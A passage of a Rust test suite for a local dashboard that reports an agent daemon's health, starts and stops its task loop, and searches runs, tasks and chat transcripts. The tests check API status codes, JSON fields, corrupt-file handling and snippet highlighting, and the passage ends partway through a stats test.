18662            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18663        );
18664        let stale = f.get("/api/health").await.json();
18665        assert_eq!(
18666            stale["daemon"]["running"], false,
18667            "a minute without a heartbeat is a dead daemon, not a busy one"
18668        );
18669        assert!(
18670            stale["daemon"]["stale_for_secs"]
18671                .as_i64()
18672                .is_some_and(|s| s >= 55),
18673            "staleness is reported so the UI can say how long: {stale}"
18674        );
18675
18676        write_daemon(f.home.path(), Timestamp::now());
18677        let fresh = f.get("/api/health").await.json();
18678        assert_eq!(fresh["daemon"]["running"], true);
18679        assert_eq!(fresh["daemon"]["idle"], false);
18680        assert_eq!(fresh["daemon"]["pid"], 4242);
18681        assert_eq!(fresh["daemon"]["completed"], 7);
18682        assert_eq!(
18683            fresh["daemon"]["current"][0]["task"],
18684            "20260902-140501-aaaa"
18685        );
18686        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18687    }
18688
18689    #[tokio::test]
18690    async fn the_loop_is_not_running_until_something_starts_it() {
18691        let f = Fixture::start().await;
18692
18693        let view = f.get("/api/loop").await.json();
18694        assert_eq!(view["running"], false);
18695        assert_eq!(
18696            view["owned"], false,
18697            "nobody owns a loop that does not exist: {view}"
18698        );
18699        assert_eq!(view["stopping"], false);
18700        assert_eq!(view["last_error"], Value::Null);
18701        assert_eq!(view["daemon"]["running"], false);
18702        assert_eq!(
18703            view["repo"], "/repo/magi",
18704            "the repository a start would use, named before it is started"
18705        );
18706    }
18707
18708    #[tokio::test]
18709    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18710        let f = Fixture::start().await;
18711
18712        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18713        assert_eq!(res.status, 200, "{}", res.body);
18714        let view = res.json();
18715        assert_eq!(view["running"], true);
18716        assert_eq!(
18717            view["owned"], true,
18718            "the loop the UI started is the UI's own to stop: {view}"
18719        );
18720        assert_eq!(
18721            view["merge"],
18722            Value::Null,
18723            "no override was given, so each repository's own config decides"
18724        );
18725
18726        // The same object from the route a waking phone polls first. Two
18727        // surfaces disagreeing about whether anything is running is exactly
18728        // the confusion this UI exists to remove.
18729        let health = f.get("/api/health").await.json();
18730        assert_eq!(health["loop"]["running"], true, "{health}");
18731        assert_eq!(health["loop"]["owned"], true, "{health}");
18732
18733        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18734    }
18735
18736    #[tokio::test]
18737    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18738        let f = Fixture::start().await;
18739        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18740        assert_eq!(first.status, 200, "{}", first.body);
18741
18742        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18743        assert_eq!(
18744            again.status, 409,
18745            "two loops on one queue race for the same claims: {}",
18746            again.body
18747        );
18748        assert!(
18749            again.json()["error"]
18750                .as_str()
18751                .is_some_and(|e| e.contains("already running the loop")),
18752            "the refusal has to say why: {}",
18753            again.body
18754        );
18755        assert_eq!(
18756            f.get("/api/loop").await.json()["running"],
18757            true,
18758            "and the loop that was already running is untouched by it"
18759        );
18760
18761        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18762    }
18763
18764    #[tokio::test]
18765    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18766        let f = Fixture::start().await;
18767        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18768
18769        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18770        assert_eq!(
18771            res.status, 200,
18772            "the answer must not wait for the loop: a run in flight is tens of \
18773             minutes and the operator is holding a phone: {}",
18774            res.body
18775        );
18776
18777        let view = settled(&f, |v| v["running"] == false).await;
18778        assert_eq!(view["owned"], false);
18779        assert_eq!(
18780            view["stopping"], false,
18781            "a loop that has stopped is not still stopping: {view}"
18782        );
18783        assert_eq!(
18784            view["last_error"],
18785            Value::Null,
18786            "a loop that was asked to stop did not fail: {view}"
18787        );
18788
18789        // Idempotent, because the operator cannot tell a slow stop from a lost
18790        // one and will press it again.
18791        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18792        assert_eq!(twice.status, 200, "{}", twice.body);
18793    }
18794
18795    #[tokio::test]
18796    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18797        let f = Fixture::start().await;
18798        // How the operator has been doing it: a `magi serve` of their own,
18799        // heartbeat fresh, in the same home this UI reads.
18800        write_daemon(f.home.path(), Timestamp::now());
18801
18802        let view = f.get("/api/loop").await.json();
18803        assert_eq!(view["running"], false, "not in this process: {view}");
18804        assert_eq!(view["owned"], false, "and not this process's to control");
18805        assert_eq!(
18806            view["daemon"]["running"], true,
18807            "but a loop is alive somewhere, which is what the UI must say"
18808        );
18809        assert_eq!(view["daemon"]["pid"], 4242);
18810
18811        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18812            let res = f.post("/api/loop", Some(body)).await;
18813            assert_eq!(
18814                res.status, 409,
18815                "neither button may pretend to work on someone else's loop: {}",
18816                res.body
18817            );
18818            assert!(
18819                res.json()["error"]
18820                    .as_str()
18821                    .is_some_and(|e| e.contains("4242")),
18822                "the refusal has to name the process the operator must go to: {}",
18823                res.body
18824            );
18825        }
18826        assert_eq!(
18827            f.get("/api/loop").await.json()["running"],
18828            false,
18829            "and the refusal started nothing"
18830        );
18831    }
18832
18833    #[tokio::test]
18834    async fn a_stale_status_file_is_not_a_foreign_owner() {
18835        let f = Fixture::start().await;
18836        write_daemon(
18837            f.home.path(),
18838            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18839        );
18840
18841        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18842        assert_eq!(
18843            res.status, 200,
18844            "a daemon killed a minute ago must not lock the loop out of its \
18845             own home for good: {}",
18846            res.body
18847        );
18848        assert_eq!(res.json()["running"], true);
18849
18850        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18851    }
18852
18853    #[tokio::test]
18854    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18855        let f = Fixture::start().await;
18856        let before = f.get("/api/health").await.json()["loop_rev"]
18857            .as_u64()
18858            .expect("a loop revision");
18859
18860        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18861
18862        let after = f.get("/api/health").await.json()["loop_rev"]
18863            .as_u64()
18864            .expect("a loop revision");
18865        assert!(
18866            after > before,
18867            "the loop is in-process state, so this counter is the only thing \
18868             that tells a second device the first one started it: {before} -> \
18869             {after}"
18870        );
18871
18872        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18873    }
18874
18875    #[tokio::test]
18876    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18877        let f = Fixture::with_loop(launch_broken).await;
18878
18879        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18880        assert_eq!(
18881            res.status, 200,
18882            "starting it is not the failure: {}",
18883            res.body
18884        );
18885
18886        let view = settled(&f, |v| v["last_error"].is_string()).await;
18887        assert_eq!(
18888            view["running"], false,
18889            "a loop that died must not read as running, or the operator has \
18890             nothing to press: {view}"
18891        );
18892        assert_eq!(view["owned"], false);
18893        assert!(
18894            view["last_error"]
18895                .as_str()
18896                .is_some_and(|e| e.contains("read-only file system")),
18897            "the phone is where a loop that died at 3am is visible: {view}"
18898        );
18899
18900        // And it can be started again: the corpse was reaped, not left to
18901        // occupy the slot.
18902        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18903        assert_eq!(again.status, 200, "{}", again.body);
18904        assert!(
18905            again.json()["last_error"]
18906                .as_str()
18907                .is_none_or(|e| !e.contains("read-only file system")),
18908            "a fresh start does not keep showing why the last one died: {}",
18909            again.body
18910        );
18911    }
18912
18913    #[tokio::test]
18914    async fn a_newer_daemon_status_file_still_renders() {
18915        let f = Fixture::start().await;
18916        // A field this build has never heard of must not turn the status line
18917        // into a 500; that is the whole reason the reader is permissive.
18918        std::fs::write(
18919            f.home.path().join("daemon.json"),
18920            serde_json::json!({
18921                "schema": 2,
18922                "updated_at": Timestamp::now().to_string(),
18923                "idle": true,
18924                "surprise": { "nested": [1, 2, 3] },
18925            })
18926            .to_string(),
18927        )
18928        .expect("write daemon.json");
18929
18930        let health = f.get("/api/health").await;
18931
18932        assert_eq!(health.status, 200);
18933        assert_eq!(health.json()["daemon"]["running"], true);
18934    }
18935
18936    #[tokio::test]
18937    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18938        let f = Fixture::start().await;
18939        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18940        let broken = f.runs().join("20260902-140502-bad");
18941        std::fs::create_dir_all(&broken).expect("run dir");
18942        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18943
18944        let list = f.get("/api/runs").await;
18945        let detail = f.get("/api/runs/20260902-140502-bad").await;
18946
18947        assert_eq!(list.status, 200);
18948        let listed = list.json();
18949        let ids: Vec<&str> = listed
18950            .as_array()
18951            .expect("an array")
18952            .iter()
18953            .map(|r| r["id"].as_str().expect("an id"))
18954            .collect();
18955        assert_eq!(
18956            ids,
18957            vec!["20260902-140501-good"],
18958            "one unreadable run must not cost the operator the whole history"
18959        );
18960        assert_eq!(detail.status, 500);
18961        assert!(
18962            detail.json()["error"]
18963                .as_str()
18964                .is_some_and(|e| e.contains("run.json")),
18965            "the failure names the file to look at: {}",
18966            detail.body
18967        );
18968        // A skipped run has to be countable somewhere, or the UI shows an
18969        // empty history with nothing to explain it - which is exactly what a
18970        // directory full of older-schema runs looks like.
18971        let health = f.get("/api/health").await;
18972        assert_eq!(health.json()["runs_unreadable"], 1);
18973    }
18974
18975    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18976    #[tokio::test]
18977    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18978        let f = Fixture::start().await;
18979        let runs = f.runs();
18980        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18981        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18982        // Text three levels down, in a shape no current RunState has: an older
18983        // schema must still search.
18984        let path = runs.join("20260902-140502-bbbb").join("run.json");
18985        let mut v: serde_json::Value =
18986            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18987        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18988        std::fs::write(&path, v.to_string()).unwrap();
18989        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18990        std::fs::write(
18991            runs.join("20260902-140503-cccc").join("run.json"),
18992            "{ not json",
18993        )
18994        .unwrap();
18995
18996        let res = f.get("/api/search?scope=runs&q=quokka").await;
18997        assert_eq!(res.status, 200, "{}", res.body);
18998        let v = res.json();
18999        assert_eq!(v["total"], 1, "{v}");
19000        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19001        assert_eq!(v["hits"][0]["field"], "text");
19002        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19003        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19004        assert!(
19005            parts
19006                .iter()
19007                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19008            "{v}"
19009        );
19010        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19011        assert_eq!(
19012            flat, "The Quokka leaks across threads",
19013            "whitespace is collapsed"
19014        );
19015
19016        // Terms are ANDed, across different fields, case-insensitively.
19017        let both = f
19018            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19019            .await
19020            .json();
19021        assert_eq!(both["total"], 1, "{both}");
19022        let neither = f
19023            .get("/api/search?scope=runs&q=quokka%20zebra")
19024            .await
19025            .json();
19026        assert_eq!(neither["total"], 0, "{neither}");
19027        // Everything in the task statement is reachable, not only the row text.
19028        let stmt = f
19029            .get("/api/search?scope=runs&q=mobile%20first")
19030            .await
19031            .json();
19032        assert_eq!(stmt["total"], 2, "{stmt}");
19033        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19034        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19035    }
19036
19037    #[test]
19038    fn snippet_ignores_terms_longer_than_the_field() {
19039        let terms = ["ok".to_owned(), "elephant".to_owned()];
19040        let parts = snippet_of("ok", &terms);
19041        assert_eq!(
19042            parts,
19043            vec![SnippetPart {
19044                text: "ok".to_owned(),
19045                hit: true
19046            }]
19047        );
19048    }
19049
19050    #[test]
19051    fn snippet_marks_matches_longer_than_the_window() {
19052        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19053        let hit_len = |parts: &[SnippetPart]| -> usize {
19054            parts
19055                .iter()
19056                .filter(|p| p.hit)
19057                .map(|p| p.text.chars().count())
19058                .sum()
19059        };
19060        let total =
19061            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19062
19063        let long = "a".repeat(120);
19064        let parts = snippet_of(&long, std::slice::from_ref(&long));
19065        assert!(hit_len(&parts) > 0, "{parts:?}");
19066        assert!(total(&parts) <= cap);
19067
19068        let ja = "あ".repeat(130);
19069        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19070        assert!(hit_len(&parts) > 0, "{parts:?}");
19071        assert!(total(&parts) <= cap);
19072
19073        // A short hit, then one straddling the window's end.
19074        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19075        let term = format!("ab{}", "c".repeat(100));
19076        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19077        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19078        assert!(total(&parts) <= cap);
19079
19080        // Only the head matches: not highlighted.
19081        let text = format!("{}z", "a".repeat(119));
19082        let parts = snippet_of(&text, &["a".repeat(120)]);
19083        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19084    }
19085
19086    #[tokio::test]
19087    async fn search_caps_hits_and_snippet_length() {
19088        let f = Fixture::start().await;
19089        let runs = f.runs();
19090        for n in 0..(SEARCH_MAX_HITS + 5) {
19091            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19092        }
19093        let v = f.get("/api/search?scope=runs&q=web").await.json();
19094        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19095        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19096        assert_eq!(v["truncated"], true);
19097        // Every listed run hit carries its list row for the page's filters.
19098        assert!(
19099            v["hits"]
19100                .as_array()
19101                .unwrap()
19102                .iter()
19103                .all(|h| h["run"]["status"] == "merged")
19104        );
19105
19106        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19107        let parts = snippet_of(&long, &["needle".to_owned()]);
19108        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19109        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19110        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19111    }
19112
19113    #[tokio::test]
19114    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19115        let f = Fixture::start().await;
19116        let queue = f.queue();
19117        let mut t = Task::new(
19118            "short title".to_owned(),
19119            "line one\nthe hidden Armadillo detail".to_owned(),
19120            PathBuf::from("/repo/magi"),
19121            Source::Agent {
19122                run: "r1".to_owned(),
19123                node: "chat".to_owned(),
19124            },
19125        );
19126        t.last_error = Some("disk full on /tmp".to_owned());
19127        queue.put(&mut t).expect("file the task");
19128
19129        for (q, want) in [
19130            ("armadillo", 1),
19131            ("disk%20FULL", 1),
19132            ("chat", 1),
19133            ("queued", 1),
19134            ("short%20nothing", 0),
19135        ] {
19136            let v = f
19137                .get(&format!("/api/search?scope=tasks&q={q}"))
19138                .await
19139                .json();
19140            assert_eq!(v["total"], want, "{q}: {v}");
19141        }
19142        for bad in [
19143            "/api/search?scope=tasks&q=",
19144            "/api/search?scope=tasks&q=%20",
19145            "/api/search?scope=chats&q=",
19146            "/api/search?scope=chats&q=%20",
19147            "/api/search?scope=nope&q=a",
19148            "/api/search?q=a",
19149        ] {
19150            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19151        }
19152    }
19153
19154    /// Write one conversation file the way the store reads it back.
19155    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19156        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19157            .expect("seat value");
19158        let turns: Vec<serde_json::Value> = turns
19159            .iter()
19160            .map(|(who, body)| {
19161                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19162            })
19163            .collect();
19164        let doc = serde_json::json!({
19165            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19166            "status": status, "turns": turns,
19167            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19168            "seat": seat,
19169        });
19170        let dir = f.home.path().join("talks");
19171        std::fs::create_dir_all(&dir).expect("talks dir");
19172        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19173    }
19174
19175    #[test]
19176    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19177        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19178            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19179            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19180            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19181            "seat": crate::agent::SeatState::new("talk", "test", 1)
19182        })).unwrap();
19183        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19184        talk.title = Some(talk::ChatTitle {
19185            text: "最近の話題".into(),
19186            source: talk::TitleSource::Generated,
19187        });
19188        let doc = talk_search_doc(&talk);
19189        assert_eq!(doc["title"], "最近の話題");
19190        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19191        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19192        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19193    }
19194
19195    #[test]
19196    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19197        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19198        talk.title = Some(talk::ChatTitle {
19199            text: "Saved title".into(),
19200            source: talk::TitleSource::Manual,
19201        });
19202        talk.turns = serde_json::from_value(serde_json::json!([
19203            {
19204                "who": "operator", "sender": "external", "body": "External plain",
19205                "at": "2026-09-08T20:58:02Z"
19206            },
19207            {
19208                "who": "operator", "body": "External message",
19209                "at": "2026-09-08T20:58:03Z",
19210                "messages": [{
19211                    "sender": "external", "body": "External message", "attachments": []
19212                }]
19213            }
19214        ]))
19215        .unwrap();
19216        let doc = talk_search_doc(&talk);
19217        assert_eq!(doc["turns"][0]["external"], "External plain");
19218        assert_eq!(doc["turns"][1]["external"], "External message");
19219        assert!(doc["turns"][0].get("operator").is_none());
19220        assert!(doc["turns"][1].get("operator").is_none());
19221        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19222        assert_eq!(hit.field, "external");
19223        let target = hit.target.unwrap();
19224        assert_eq!((target.turn, target.message), (1, 0));
19225    }
19226
19227    #[test]
19228    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19229        let talk: Talk = serde_json::from_value(serde_json::json!({
19230            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19231            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19232            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19233                "messages":[{"body":"First message", "attachments":[], "reply":null},
19234                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19235                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19236            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19237            "seat": crate::agent::SeatState::new("talk", "test", 1)
19238        })).unwrap();
19239        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19240        let target = hit.target.unwrap();
19241        assert_eq!((target.turn, target.message), (0, 1));
19242        assert_eq!(target.text, chat_text_key("Search 運用"));
19243        assert_eq!(
19244            hit.snippet,
19245            snippet_of("Search 運用", &search_terms("運用 Another"))
19246        );
19247        assert!(
19248            search_chat(&search_terms("Saved"), &talk)
19249                .unwrap()
19250                .target
19251                .is_none()
19252        );
19253        assert!(
19254            search_chat(&search_terms("ab12"), &talk)
19255                .unwrap()
19256                .target
19257                .is_none()
19258        );
19259        // All terms may still match across separate display rows.
19260        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19261        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19262    }
19263
19264    #[test]
19265    fn chat_search_targets_opener_derived_titles() {
19266        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19267            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19268            "status": "open", "turns": [
19269                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19270                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19271                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19272            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19273            "seat": crate::agent::SeatState::new("talk", "test", 1)
19274        }))
19275        .unwrap();
19276        let terms = search_terms("運用");
19277        let hit = search_chat(&terms, &talk).unwrap();
19278        assert_eq!(hit.field, "title");
19279        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19280        let target = hit.target.unwrap();
19281        assert_eq!((target.turn, target.message), (1, 0));
19282        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19283        // A blank first send can put the opener line in a later display row.
19284        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19285            {"body":"", "attachments":[], "reply":null},
19286            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19287        ]))
19288        .unwrap();
19289        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19290        assert_eq!((target.turn, target.message), (1, 1));
19291        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19292        talk.title = Some(talk::ChatTitle {
19293            text: "運用について".into(),
19294            source: talk::TitleSource::Manual,
19295        });
19296        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19297    }
19298
19299    #[tokio::test]
19300    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19301        let f = Fixture::start().await;
19302        write_talk(
19303            &f,
19304            "20260901-000001-aaaa",
19305            "open",
19306            &[
19307                (
19308                    "operator",
19309                    "\n  Why does the Pangolin cache expire?\nsecond line",
19310                ),
19311                ("agent", "Because the TTL is thirty seconds."),
19312            ],
19313        );
19314        write_talk(
19315            &f,
19316            "20260901-000002-bbbb",
19317            "closed",
19318            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19319        );
19320        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19321
19322        let search = |q: &'static str| {
19323            let f = &f;
19324            async move {
19325                f.get(&format!("/api/search?scope=chats&q={q}"))
19326                    .await
19327                    .json()
19328            }
19329        };
19330
19331        let v = search("PANGOLIN").await;
19332        assert_eq!(v["scope"], "chats");
19333        assert_eq!(v["total"], 1, "{v}");
19334        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19335        assert_eq!(v["hits"][0]["field"], "title");
19336        assert_eq!(v["unreadable"], 1, "{v}");
19337        let marked: Vec<&str> = v["hits"][0]["snippet"]
19338            .as_array()
19339            .unwrap()
19340            .iter()
19341            .filter(|p| p["hit"] == true)
19342            .map(|p| p["text"].as_str().unwrap())
19343            .collect();
19344        assert_eq!(marked, ["Pangolin"]);
19345
19346        // An agent turn, in a closed conversation.
19347        let v = search("zebra").await;
19348        assert_eq!(v["total"], 1, "{v}");
19349        assert_eq!(v["hits"][0]["field"], "agent");
19350        // Words may sit in different turns; all must be present.
19351        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19352        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19353        // Bookkeeping is not searched.
19354        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19355            assert_eq!(search(q).await["total"], 0, "{q}");
19356        }
19357        // The first line only is the title; the second line is still a turn.
19358        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19359        // Open conversations are listed before closed ones.
19360        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19361
19362        let v = f.get("/api/search?scope=nope&q=a").await;
19363        assert_eq!(v.status, 400);
19364        assert!(
19365            v.body.contains("scope must be runs, tasks or chats"),
19366            "{}",
19367            v.body
19368        );
19369    }
19370
19371    #[test]
19372    fn a_question_card_links_a_task_id_to_the_task_page() {
19373        let start = APP_JS
19374            .find("function updateAskCard(")
19375            .expect("updateAskCard exists");
19376        let body = &APP_JS[start..];
19377        let body = &body[..body.find("\n}\n").expect("function end")];
19378        assert!(body.contains("question.run_is_task"));
19379        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19380        assert!(body.contains("`#/runs/${question.run}`"));
19381        assert!(body.contains("\"task\" : \"run\""));
19382    }
19383
19384    #[test]
19385    fn plain_text_message_surfaces_go_through_linkify() {
19386        assert!(APP_JS.contains("function linkify("));
19387        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19388        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19389        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19390        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19391        assert!(!APP_JS.contains("innerHTML = text"));
19392    }
19393
19394    #[test]
19395    fn implementation_rate_views_keep_independent_samples() {
19396        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19397            let a = stats::AgentStats {
19398                competitive_entered: competitive_n,
19399                competitive_wins: usize::from(competitive_n > 0),
19400                solo_entered: solo_n,
19401                solo_adopted: 2 * usize::from(solo_n > 0),
19402                ..Default::default()
19403            };
19404            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19405            for (key, n, numerator) in [
19406                ("competitive_win_rate", competitive_n, a.competitive_wins),
19407                ("solo_adoption_rate", solo_n, a.solo_adopted),
19408            ] {
19409                if n == 0 {
19410                    assert!(v[key].is_null());
19411                } else {
19412                    assert_eq!(v[key]["denominator"], n);
19413                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19414                }
19415            }
19416        }
19417        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19418        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19419        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19420        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19421    }
19422
19423    #[test]
19424    fn stats_bars_share_one_id_keyed_plan() {
19425        let start = APP_JS
19426            .find("function statsBarRows(")
19427            .expect("statsBarRows exists");
19428        let body = &APP_JS[start..];
19429        let body = &body[..body.find("\n}\n").expect("function end")];
19430        assert!(body.contains("statsBarPlan(rows)"));
19431        assert!(body.contains("statsAgentTone(row.agent)"));
19432        assert!(!body.contains("candTone(i)"));
19433        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19434        for root in [
19435            "stats-agents-bars",
19436            "stats-solo-bars",
19437            "stats-reviewers-bars",
19438        ] {
19439            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19440        }
19441    }
19442
19443    #[test]
19444    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19445        let start = APP_JS
19446            .find("function renderStatsReviewerScatter(")
19447            .expect("renderStatsReviewerScatter exists");
19448        let body = &APP_JS[start..];
19449        let body = &body[..body.find("\n}\n").expect("function end")];
19450        assert!(body.contains("statsScatterPlan(reviewers)"));
19451        assert!(body.contains("statsAgentTone(d.agent)"));
19452        assert!(APP_JS.contains("function statsScatterPlan("));
19453        assert!(
19454            APP_JS.contains("d.submitted < STATS_LOW_N")
19455                || APP_JS.contains("r.submitted < STATS_LOW_N")
19456        );
19457        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19458        assert!(APP_CSS.contains(".precision-scatter"));
19459    }
19460
19461    #[test]
19462    fn advisor_reflection_is_drawn_as_stacked_segments() {
19463        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19464        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19465        let html = include_str!("../assets/ui/index.html");
19466        assert!(html.contains("Approximate"));
19467        for label in ["reflected strongly", "faint", "no proposal"] {
19468            assert!(html.contains(label));
19469        }
19470        let css = include_str!("../assets/ui/app.css");
19471        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19472            assert!(css.contains(&format!(".{c} {{")));
19473        }
19474    }
19475
19476    #[test]
19477    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19478        assert!(APP_JS.contains("function statsDailyPlan("));
19479        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19480        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19481    }
19482
19483    #[test]
19484    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19485        let start = APP_JS
19486            .find("function scheduleSearch(")
19487            .expect("scheduleSearch exists");
19488        let body = &APP_JS[start..];
19489        let body = &body[..body.find("\n}\n").expect("function end")];
19490        assert!(body.contains("s.seq += 1"));
19491    }
19492
19493    /// The dashboard reads every run's state itself rather than trusting a
19494    /// separately-maintained count, so an unreadable run must be counted the
19495    /// same way `/api/health` counts it - never silently dropped the way the
19496    /// CLI's own `stats::load_all` drops it.
19497    #[tokio::test]
19498    async fn stats_runs_unreadable_matches_health() {
19499        let f = Fixture::start().await;
19500        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19501        let broken = f.runs().join("20260902-140502-bad");
19502        std::fs::create_dir_all(&broken).expect("run dir");
